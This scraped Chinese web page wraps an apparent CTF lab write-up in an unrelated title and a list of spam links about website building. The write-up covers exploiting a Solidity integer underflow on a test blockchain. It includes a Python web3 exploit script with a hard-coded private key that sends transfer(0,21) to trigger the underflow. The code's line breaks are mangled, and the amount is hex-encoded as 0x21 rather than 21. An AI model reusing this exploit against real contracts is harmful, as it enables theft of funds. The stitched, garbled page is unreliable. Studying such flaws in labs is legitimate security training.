当前位置: 首页 > news >正文

做旅行网站wordpress导出工具栏

做旅行网站,wordpress导出工具栏,做类似美团的网站,网站开发后台框架区块链安全 文章目录 区块链安全整数溢出漏洞实战实验目的实验环境实验工具实验原理攻击过程分析合约源代码漏洞EXP利用 整数溢出漏洞实战 实验目的 学会使用python3的web3模块 学会以太坊整数溢出漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理…

区块链安全

`

文章目录

  • 区块链安全
  • 整数溢出漏洞实战
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 攻击过程
    • 分析合约源代码漏洞
    • EXP利用


整数溢出漏洞实战

实验目的

学会使用python3的web3模块
学会以太坊整数溢出漏洞分析及利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

低版本Solidity整数是uint无符号类型,若操作存在不安全行为,可能会产生溢出,通过分析代码找到漏洞点,实现整数溢出利用。
题目环境是测试链,所以需要本地与题目进行交互,可使用python3中的web3模块,通过web3模块的rpc功能与题目交互,从而编写自动化利用脚本。
实验内容
使用python3编写脚本测试漏洞
找到整数溢出漏洞并形成利用获取flag
实验地址为nc ip 10001

攻击过程

nc 靶标ip 端口
在这里插入图片描述
打开http://ip,输入上述分配的game account,点击Request获取eth

在这里插入图片描述
在这里插入图片描述

nc ip 10001连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10001连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞

题目要求把flag设置为true,分析合约代码,在transfer中可以将flag设置为true,但需要满足totalSupply - _value > 0,其中totalSupply=20,其实考点为Solidity智能合约整数溢出,totalSupply与value都是uint无符号整数,所以只需要value为21即可产生整数下溢,造成溢出
在这里插入图片描述
需要调用transfer(0,21)即可将flag设置为true

EXP利用

利用python3的web3模块与远程题目交互,并编写利用代码,将ip替换成题目的ip,contract_address替换成自己的地址

from web3 import Web3, HTTPProvider
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x68A04806e380BAa6D6f2E96027Cc0ed11c17FEf1"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receipt# transfer(0,21)
data = Web3.keccak(text='transfer(address,uint256)').hex()[:10]
data += '0'*64
data += '21'.rjust(64,'0')txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)

运行exp
在这里插入图片描述

在这里插入图片描述

nc ip 10001连接到题目,输入3,输入之前的new token,获取flag

在这里插入图片描述

http://www.ijyty.com/news/84153.html

相关文章:

  • 杏坛餐饮网站建站中企动力的网站如何
  • 网站建设公司北京亦庄电子产品在哪些网站做调研
  • 重庆网站托管服务医疗知识普及网站开发
  • 网站建设贰金手指下拉贰拾铜川矿业公司网站
  • 公司集团网站建设电子商务网站规划设计方案
  • 河北省建设厅网站首页徐州手机网站开发公司电话
  • 哪个网站可以做电子档的邀请函wordpress 内网映射
  • 创建一个网站流程图辽阳企业网站建设价格
  • 网站互点联盟建一个素材网站多少钱
  • app开发网站免费ppt模板素材网站有哪些
  • 基于springboot的项目管理系统
  • 专业外包网站建设公司排名仿团购网站模板
  • 海西网站建设哪家好WordPress数据API
  • 网站建设相关推荐制作网站副本
  • 做企业网站备案都需要什么手机网站跳转代码
  • 月付商城网站建站wordpress直播接入
  • 湖南省建设干部学校 网站网站后台管理系统登陆
  • 网站建设补充关于加强网站建设
  • 做网站如何保证询盘数量企业网站的设计
  • wordpress两个站合并湖南医院响应式网站建设企业
  • 最便宜网站手机网站设计企业
  • 素材网站官网云开发app
  • 怎么做粉丝福利购网站凯盛建设公司网站
  • 网站建设主机类型怎么选公司的网站怎么做
  • 网站建设与案例管理的心得体会asp.net sql server网站建设 pdf
  • 洪山网站建设网站开发 重庆
  • 建瓯市建设银行网站微信公众号关注
  • 正规赚佣金的平台重庆网站建设seo优化
  • 海外网站制作设计师网名 二字
  • 百度地图手机网站代码又顺又旺的公司名字大全